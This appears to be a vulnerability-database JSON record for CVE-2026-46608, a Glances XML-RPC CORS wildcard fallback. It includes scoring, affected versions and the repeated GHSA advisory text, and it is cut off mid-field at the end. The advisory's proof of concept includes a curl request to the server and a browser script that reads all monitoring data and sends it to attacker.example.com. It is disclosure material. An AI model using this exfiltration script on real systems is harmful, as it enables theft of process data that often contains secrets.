{"id":"CVE-2026-46608","aliases":["DEBIAN-CVE-2026-46608","EUVD-2026-39522","GHSA-87qc-fj39-wccr","PYSEC-2026-2495","UBUNTU-CVE-2026-46608","openSUSE-SU-2026:11122-1"],"status":"published","title":"Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533)","description":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.5, the Glances XML-RPC server (glances -s) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE-2026-33533. However, the implementation silently falls back to Access-Control-Allow-Origin: * whenever cors_origins contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard. A malicious web page served from any origin can issue a CORS simple request to /RPC2 and read the full system monitoring dataset without the victim's knowledge. This vulnerability is fixed in 4.5.5.","severity":{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00401,"percentile":0.348,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-183","CWE-942"],"published":"2026-06-22T21:27:24Z","modified":"2026-10-28T02:30:57Z","fixes":[{"ecosystem":"PyPI","package":"glances","fixed_in":["4.5.5"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"glances","fixed_in":["4.5.5+dfsg-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.5"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.3.1+dfsg-1","4.3.3+dfsg-1","4.5.1+dfsg-1","4.5.2+dfsg-1","4.5.3.2+dfsg-1","4.5.4+dfsg-1","4.5.5+dfsg-1","4.5.6+dfsg-1","4.5.7+dfsg-1","4.5.8+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.5+dfsg-1"}]}],"versions":["4.3.1+dfsg-1","4.3.3+dfsg-1","4.5.1+dfsg-1","4.5.2+dfsg-1","4.5.3.2+dfsg-1","4.5.4+dfsg-1"]},{"source":"osv","ecosystem":"PyPI","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.5"}]}],"versions":["1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.4","1.4.1","1.4.1.1","1.4.2","1.4.2.1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.7","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","2.0","2.0.1","2.1","2.1.1","2.1.2","2.10","2.11","2.11.1","2.2","2.2.1","2.3","2.4","2.4.1","2.4.2","2.5","2.5.1","2.6","2.6.1","2.6.2","2.7","2.7.1","2.8","2.8.1","2.8.2","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.9.0","2.9.1","3.0","3.0.1","3.0.2","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.4.1","3.1.5","3.1.6","3.1.6.1","3.1.6.2","3.1.7","3.2.0","3.2.1","3.2.2","3.2.3","3.2.3.1","3.2.4","3.2.4.1","3.2.4.2","3.2.5","3.2.6.1","3.2.6.2","3.2.6.3","3.2.6.4","3.2.7","3.3.0","3.3.0.1","3.3.0.2","3.3.0.3","3.3.0.4","3.3.1","3.3.1.1","3.4.0","3.4.0.1","3.4.0.2","3.4.0.3","3.4.0.4","3.4.0.5","4.0.1","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.1.0","4.1.1","4.1.2","4.2.0","4.2.1","4.3.0","4.3.0.1","4.3.0.3","4.3.0.4","4.3.0.5","4.3.0.6","4.3.0.7","4.3.0.8","4.3.1","4.3.2","4.3.3","4.4.0","4.4.1","4.5.0","4.5.0.1","4.5.0.2","4.5.0.3","4.5.0.4","4.5.0.5","4.5.1","4.5.2","4.5.3","4.5.4"]},{"source":"osv","ecosystem":"PyPI","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.5"}]}],"versions":["1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.4","1.4.1","1.4.1.1","1.4.2","1.4.2.1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.7","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","2.0","2.0.1","2.1","2.1.1","2.1.2","2.10","2.11","2.11.1","2.2","2.2.1","2.3","2.4","2.4.1","2.4.2","2.5","2.5.1","2.6","2.6.1","2.6.2","2.7","2.7.1","2.8","2.8.1","2.8.2","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.9.0","2.9.1","3.0","3.0.1","3.0.2","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.4.1","3.1.5","3.1.6","3.1.6.1","3.1.6.2","3.1.7","3.2.0","3.2.1","3.2.2","3.2.3","3.2.3.1","3.2.4","3.2.4.1","3.2.4.2","3.2.5","3.2.6.1","3.2.6.2","3.2.6.3","3.2.6.4","3.2.7","3.3.0","3.3.0.1","3.3.0.2","3.3.0.3","3.3.0.4","3.3.1","3.3.1.1","3.4.0","3.4.0.1","3.4.0.2","3.4.0.3","3.4.0.4","3.4.0.5","4.0.1","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.1.0","4.1.1","4.1.2","4.2.0","4.2.1","4.3.0","4.3.0.1","4.3.0.3","4.3.0.4","4.3.0.5","4.3.0.6","4.3.0.7","4.3.0.8","4.3.1","4.3.2","4.3.3","4.4.0","4.4.1","4.5.0","4.5.0.1","4.5.0.2","4.5.0.3","4.5.0.4","4.5.0.5","4.5.1","4.5.2","4.5.3","4.5.4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.3-1build1","2.3-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.10-2","2.11.1-1","2.11.1-2","2.11.1-3","2.11.1-3ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.0-1","3.1.1-1","3.1.3-1","3.1.3-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.5-1","3.2.3.1+dfsg-1","3.2.4.2+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.4.0.3+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.3.0.8+dfsg-1","4.3.1+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.3.1+dfsg-1","4.3.3+dfsg-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-Glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.5-1.1"}]}],"bundled":5}],"products":[{"vendor":"nicolargo","product":"glances"}],"references":[{"url":"https://github.com/nicolargo/glances/security/advisories/GHSA-87qc-fj39-wccr","tags":["x_refsource_CONFIRM","advisory","web","report"]},{"url":"https://github.com/nicolargo/glances/releases/tag/v4.5.5","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46608","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-87qc-fj39-wccr","tags":["advisory"]},{"url":"https://github.com/nicolargo/glances","tags":["package"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/glances/PYSEC-2026-2495.yaml","tags":["web"]},{"url":"https://pypi.org/project/glances","tags":["web","package"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/46xxx/CVE-2026-46608.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-46608","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-46608","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-46608","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46606","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46607","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46608","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46611","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53925","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-46608","title":"Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533)","description":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.5, the Glances XML-RPC server (glances -s) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE-2026-33533. However, the implementation silently falls back to Access-Control-Allow-Origin: * whenever cors_origins contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard. A malicious web page served from any origin can issue a CORS simple request to /RPC2 and read the full system monitoring dataset without the victim's knowledge. This vulnerability is fixed in 4.5.5.","status":"published","published":"2026-06-25T18:05:48.123Z","modified":"2026-06-26T18:42:27.698Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-183","CWE-942"],"updated_at":"2026-11-02T13:47:06.353366Z"}],"euvd":[{"id":"EUVD-2026-39522","description":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.5, the Glances XML-RPC server (glances -s) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE-2026-33533. However, the implementation silently falls back to Access-Control-Allow-Origin: * whenever cors_origins contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard. A malicious web page served from any origin can issue a CORS simple request to /RPC2 and read the full system monitoring dataset without the victim's knowledge. This vulnerability is fixed in 4.5.5.","status":"published","published":"2026-06-25T18:05:48Z","modified":"2026-06-26T18:42:27Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T18:20:24.118614Z"}],"ghsa":[{"id":"GHSA-87qc-fj39-wccr","title":"Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533)","description":"### Summary\n\nThe Glances XML-RPC server (`glances -s`) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533.  However, the implementation silently falls back to `Access-Control-Allow-Origin: *` whenever `cors_origins` contains more than one entry.  An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard — the same exposure that the original CVE described.  A malicious web page served from any origin can issue a CORS simple request to `/RPC2` and read the full system monitoring dataset without the victim's knowledge.\n\n---\n\n### Details\n\n**Affected file:** `glances/server.py`, class `GlancesXMLRPCServer`, line 113\n\n**Direct URL (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py#L113\n\n```python\n# server.py  (GlancesXMLRPCServer.__init__)\ncors_origins = self.args.cors_origins   # list from config / CLI\n\n# Line 113 — the incomplete fix:\nself.cors_origin = cors_origins[0] if len(cors_origins) == 1 else '*'\n#                                                                  ^^^\n# Any allowlist with 2+ entries collapses to the wildcard\n```\n\nThe `cors_origin` value is then echoed back as the `Access-Control-Allow-Origin` response header for every request (line ~147 in the same file):\n\n```python\nself.send_header('Access-Control-Allow-Origin', self.cors_origin)\n```\n\nThis means the CORS header is determined once at server startup and never compared against the actual `Origin` header sent by the browser.  Even if an operator sets:\n\n```ini\n# glances.conf\n[outputs]\ncors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com\n```\n\nthe server responds with `Access-Control-Allow-Origin: *` to every request, including those from `https://attacker.example.com`.\n\n**Single-origin wildcard** (the default, `cors_origins = *`) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nTest results:\n\n| Origin sent              | ACAO header returned | Expected     |\n|--------------------------|----------------------|--------------|\n| `http://evil.example.com`| `*`                  | No header    |\n| `https://dashboard.corp` | `*`                  | Reflected    |\n| `https://grafana.corp`   | `*`                  | Reflected    |\n\n---\n\n### PoC\n\n**Special configuration required**\n\nThe multi-origin collapse is only triggered when `cors_origins` contains two or more entries.  Create the following `glances.conf`:\n\n```ini\n# /tmp/glances_multiorigin.conf\n[global]\ncheck_update = false\n\n[outputs]\ncors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com\n```\n\n**Step 1 — Start the XML-RPC server using the config above**\n\n```bash\nglances -s -p 61209 -C /tmp/glances_multiorigin.conf\n```\n\n**Step 2 — Send a CORS simple request from a foreign origin**\n\n```bash\ncurl -s -D - -X POST \"http://TARGET_HOST:61209/RPC2\" \\\n     -H \"Content-Type: text/plain\" \\\n     -H \"Origin: http://evil.example.com\" \\\n     -d '\u003c?xml version=\"1.0\"?\u003e\n         \u003cmethodCall\u003e\u003cmethodName\u003egetAllPlugins\u003c/methodName\u003e\u003c/methodCall\u003e'\n```\n\n**Expected (secure) response:**\n\n```\nHTTP/1.0 400 Bad Request\n```\n\nor no `Access-Control-Allow-Origin` header.\n\n**Actual response:**\n\n```\nHTTP/1.0 200 OK\nAccess-Control-Allow-Origin: *\n...\n\u003c?xml version='1.0'?\u003e\n\u003cmethodResponse\u003e\n  \u003cparams\u003e\u003cparam\u003e\u003cvalue\u003e\u003carray\u003e\u003cdata\u003e\n    \u003cvalue\u003e\u003cstring\u003ecpu\u003c/string\u003e\u003c/value\u003e\n    \u003cvalue\u003e\u003cstring\u003emem\u003c/string\u003e\u003c/value\u003e\n    ...\n  \u003c/data\u003e\u003c/array\u003e\u003c/value\u003e\u003c/param\u003e\u003c/params\u003e\n\u003c/methodResponse\u003e\n```\n\n**Step 3 — Demonstrate the code-level collapse to wildcard**\n\n```python\nimport sys\nsys.path.insert(0, '/path/to/glances')   # adjust to local clone\nfrom glances.config import Config\n\nc = Config('/tmp/glances_multiorigin.conf')\ncors_list = c.get_list_value('outputs', 'cors_origins', default=['*'])\n# Reproduces server.py line 113:\nresult = cors_list[0] if len(cors_list) == 1 else '*'\n\nprint('cors_origins config :', cors_list)\nprint('cors_origin applied :', result)\nprint('Is wildcard?        :', result == '*')\n# cors_origins config : ['https://dashboard.corp.example.com', 'https://grafana.corp.example.com']\n# cors_origin applied : *\n# Is wildcard?        : True\n```\n\n**Browser-based exploitation**\n\nOnce the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full.  A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows:\n\n```javascript\n// Runs in a page on http://evil.example.com\nconst payload = `\u003c?xml version=\"1.0\"?\u003e\n  \u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e`;\n\nfetch('http://GLANCES_HOST:61209/RPC2', {\n  method: 'POST',\n  headers: { 'Content-Type': 'text/plain' },\n  body: payload,\n})\n.then(r =\u003e r.text())\n.then(data =\u003e {\n  // 'data' contains hostname, OS, full process list, network interfaces, etc.\n  fetch('https://attacker.example.com/collect?d=' + btoa(data));\n});\n```\n\nThis works as a CORS \"simple request\" (POST + `text/plain`) — no CORS preflight is triggered and the `*` wildcard allows the browser to read the response.\n\n---\n\n### Impact\n\n**Vulnerability type:** CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942)\n\n**Who is impacted:** Any operator who:\n1. Runs Glances in XML-RPC server mode (`glances -s`), *and*\n2. Has configured two or more `cors_origins` entries in `glances.conf` believing\n   they are restricting browser access.\n\nOperators using the default single-wildcard configuration (`cors_origins = *`, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read).  The incomplete fix addresses only the narrow case of a single non-wildcard origin.\n\n**Data exposed through the XML-RPC API** includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata.\n\n**Impact:**\n- **Confidentiality:** High — complete system monitoring data readable by any browser page.\n- **Integrity:** None — read-only API.\n- **Availability:** None — no denial-of-service component.\n\n---\n\n### Suggested Fix\n\nImplement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern CORS middleware (e.g. Starlette's `CORSMiddleware`):\n\n```python\n# server.py  — replace the single static self.cors_origin field with:\n\ndef _get_acao_header(self, request_origin: str) -\u003e str | None:\n    \"\"\"Return the correct Access-Control-Allow-Origin value or None.\"\"\"\n    if not self.cors_origins or '*' in self.cors_origins:\n        return '*'\n    if request_origin in self.cors_origins:\n        return request_origin\n    return None   # do not send the header for unlisted origins\n\n# In do_POST / send_response:\norigin = self.headers.get('Origin', '')\nacao   = self._get_acao_header(origin)\nif acao:\n    self.send_header('Access-Control-Allow-Origin', acao)\n    self.send_header('Vary', 'Origin')\n```\n\nAdditionally, consider retiring the legacy XML-RPC server in favour of the REST API (`glances -w`), which uses Starlette's `CORSMiddleware` correctly, and document the deprecation path.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.\n\n---","status":"published","published":"2026-06-22T21:27:24Z","modified":"2026-07-21T14:44:11Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-183","CWE-942"],"updated_at":"2026-11-02T14:40:49.410128Z"}],"nvd":[{"id":"CVE-2026-46608","description":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.5, the Glances XML-RPC server (glances -s) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE-2026-33533. However, the implementation silently falls back to Access-Control-Allow-Origin: * whenever cors_origins contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard. A malicious web page served from any origin can issue a CORS simple request to /RPC2 and read the full system monitoring dataset without the victim's knowledge. This vulnerability is fixed in 4.5.5.","status":"published","published":"2026-06-25T19:16:37.663Z","modified":"2026-10-25T22:10:00.15Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-183","CWE-942"],"updated_at":"2026-11-02T14:12:26.045561Z"}],"osv":[{"id":"CVE-2026-46608","title":"Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533)","description":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.5, the Glances XML-RPC server (glances -s) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE-2026-33533. However, the implementation silently falls back to Access-Control-Allow-Origin: * whenever cors_origins contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard. A malicious web page served from any origin can issue a CORS simple request to /RPC2 and read the full system monitoring dataset without the victim's knowledge. This vulnerability is fixed in 4.5.5.","status":"published","published":"2026-06-25T18:05:48.123Z","modified":"2026-10-28T02:30:57.530459118Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-183","CWE-942"],"updated_at":"2026-11-02T15:45:06.231145Z"},{"id":"DEBIAN-CVE-2026-46608","description":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.5, the Glances XML-RPC server (glances -s) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE-2026-33533. However, the implementation silently falls back to Access-Control-Allow-Origin: * whenever cors_origins contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard. A malicious web page served from any origin can issue a CORS simple request to /RPC2 and read the full system monitoring dataset without the victim's knowledge. This vulnerability is fixed in 4.5.5.","status":"published","published":"2026-06-25T19:16:37.663Z","modified":"2026-10-26T12:02:58.027066879Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:45:56.444225Z"},{"id":"GHSA-87qc-fj39-wccr","title":"Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533)","description":"### Summary\n\nThe Glances XML-RPC server (`glances -s`) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533.  However, the implementation silently falls back to `Access-Control-Allow-Origin: *` whenever `cors_origins` contains more than one entry.  An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard — the same exposure that the original CVE described.  A malicious web page served from any origin can issue a CORS simple request to `/RPC2` and read the full system monitoring dataset without the victim's knowledge.\n\n---\n\n### Details\n\n**Affected file:** `glances/server.py`, class `GlancesXMLRPCServer`, line 113\n\n**Direct URL (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py#L113\n\n```python\n# server.py  (GlancesXMLRPCServer.__init__)\ncors_origins = self.args.cors_origins   # list from config / CLI\n\n# Line 113 — the incomplete fix:\nself.cors_origin = cors_origins[0] if len(cors_origins) == 1 else '*'\n#                                                                  ^^^\n# Any allowlist with 2+ entries collapses to the wildcard\n```\n\nThe `cors_origin` value is then echoed back as the `Access-Control-Allow-Origin` response header for every request (line ~147 in the same file):\n\n```python\nself.send_header('Access-Control-Allow-Origin', self.cors_origin)\n```\n\nThis means the CORS header is determined once at server startup and never compared against the actual `Origin` header sent by the browser.  Even if an operator sets:\n\n```ini\n# glances.conf\n[outputs]\ncors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com\n```\n\nthe server responds with `Access-Control-Allow-Origin: *` to every request, including those from `https://attacker.example.com`.\n\n**Single-origin wildcard** (the default, `cors_origins = *`) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nTest results:\n\n| Origin sent              | ACAO header returned | Expected     |\n|--------------------------|----------------------|--------------|\n| `http://evil.example.com`| `*`                  | No header    |\n| `https://dashboard.corp` | `*`                  | Reflected    |\n| `https://grafana.corp`   | `*`                  | Reflected    |\n\n---\n\n### PoC\n\n**Special configuration required**\n\nThe multi-origin collapse is only triggered when `cors_origins` contains two or more entries.  Create the following `glances.conf`:\n\n```ini\n# /tmp/glances_multiorigin.conf\n[global]\ncheck_update = false\n\n[outputs]\ncors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com\n```\n\n**Step 1 — Start the XML-RPC server using the config above**\n\n```bash\nglances -s -p 61209 -C /tmp/glances_multiorigin.conf\n```\n\n**Step 2 — Send a CORS simple request from a foreign origin**\n\n```bash\ncurl -s -D - -X POST \"http://TARGET_HOST:61209/RPC2\" \\\n     -H \"Content-Type: text/plain\" \\\n     -H \"Origin: http://evil.example.com\" \\\n     -d '\u003c?xml version=\"1.0\"?\u003e\n         \u003cmethodCall\u003e\u003cmethodName\u003egetAllPlugins\u003c/methodName\u003e\u003c/methodCall\u003e'\n```\n\n**Expected (secure) response:**\n\n```\nHTTP/1.0 400 Bad Request\n```\n\nor no `Access-Control-Allow-Origin` header.\n\n**Actual response:**\n\n```\nHTTP/1.0 200 OK\nAccess-Control-Allow-Origin: *\n...\n\u003c?xml version='1.0'?\u003e\n\u003cmethodResponse\u003e\n  \u003cparams\u003e\u003cparam\u003e\u003cvalue\u003e\u003carray\u003e\u003cdata\u003e\n    \u003cvalue\u003e\u003cstring\u003ecpu\u003c/string\u003e\u003c/value\u003e\n    \u003cvalue\u003e\u003cstring\u003emem\u003c/string\u003e\u003c/value\u003e\n    ...\n  \u003c/data\u003e\u003c/array\u003e\u003c/value\u003e\u003c/param\u003e\u003c/params\u003e\n\u003c/methodResponse\u003e\n```\n\n**Step 3 — Demonstrate the code-level collapse to wildcard**\n\n```python\nimport sys\nsys.path.insert(0, '/path/to/glances')   # adjust to local clone\nfrom glances.config import Config\n\nc = Config('/tmp/glances_multiorigin.conf')\ncors_list = c.get_list_value('outputs', 'cors_origins', default=['*'])\n# Reproduces server.py line 113:\nresult = cors_list[0] if len(cors_list) == 1 else '*'\n\nprint('cors_origins config :', cors_list)\nprint('cors_origin applied :', result)\nprint('Is wildcard?        :', result == '*')\n# cors_origins config : ['https://dashboard.corp.example.com', 'https://grafana.corp.example.com']\n# cors_origin applied : *\n# Is wildcard?        : True\n```\n\n**Browser-based exploitation**\n\nOnce the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full.  A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows:\n\n```javascript\n// Runs in a page on http://evil.example.com\nconst payload = `\u003c?xml version=\"1.0\"?\u003e\n  \u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e`;\n\nfetch('http://GLANCES_HOST:61209/RPC2', {\n  method: 'POST',\n  headers: { 'Content-Type': 'text/plain' },\n  body: payload,\n})\n.then(r =\u003e r.text())\n.then(data =\u003e {\n  // 'data' contains hostname, OS, full process list, network interfaces, etc.\n  fetch('https://attacker.example.com/collect?d=' + btoa(data));\n});\n```\n\nThis works as a CORS \"simple request\" (POST + `text/plain`) — no CORS preflight is triggered and the `*` wildcard allows the browser to read the response.\n\n---\n\n### Impact\n\n**Vulnerability type:** CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942)\n\n**Who is impacted:** Any operator who:\n1. Runs Glances in XML-RPC server mode (`glances -s`), *and*\n2. Has configured two or more `cors_origins` entries in `glances.conf` believing\n   they are restricting browser access.\n\nOperators using the default single-wildcard configuration (`cors_origins = *`, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read).  The incomplete fix addresses only the narrow case of a single non-wildcard origin.\n\n**Data exposed through the XML-RPC API** includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata.\n\n**Impact:**\n- **Confidentiality:** High — complete system monitoring data readable by any browser page.\n- **Integrity:** None — read-only API.\n- **Availability:** None — no denial-of-service component.\n\n---\n\n### Suggested Fix\n\nImplement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern CORS middleware (e.g. Starlette's `CORSMiddleware`):\n\n```python\n# server.py  — replace the single static self.cors_origin field with:\n\ndef _get_acao_header(self, request_origin: str) -\u003e str | None:\n    \"\"\"Return the correct Access-Control-Allow-Origin value or None.\"\"\"\n    if not self.cors_origins or '*' in self.cors_origins:\n        return '*'\n    if request_origin in self.cors_origins:\n        return request_origin\n    return None   # do not send the header for unlisted origins\n\n# In do_POST / send_response:\norigin = self.headers.get('Origin', '')\nacao   = self._get_acao_header(origin)\nif acao:\n    self.send_header('Access-Control-Allow-Origin', acao)\n    self.send_header('Vary', 'Origin')\n```\n\nAdditionally, consider retiring the legacy XML-RPC server in favour of the REST API (`glances -w`), which uses Starlette's `CORSMiddleware` correctly, and document the deprecation path.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.\n\n---","status":"published","published":"2026-06-22T21:27:24Z","modified":"2026-07-21T15:00:42.313199896Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-183","CWE-942"],"updated_at":"2026-11-02T15:46:42.077781Z"},{"id":"PYSEC-2026-2495","title":"Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533)","description":"### Summary\n\nThe Glances XML-RPC server (`glances -s`) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533.  However, the implementation silently falls back to `Access-Control-Allow-Origin: *` whenever `cors_origins` 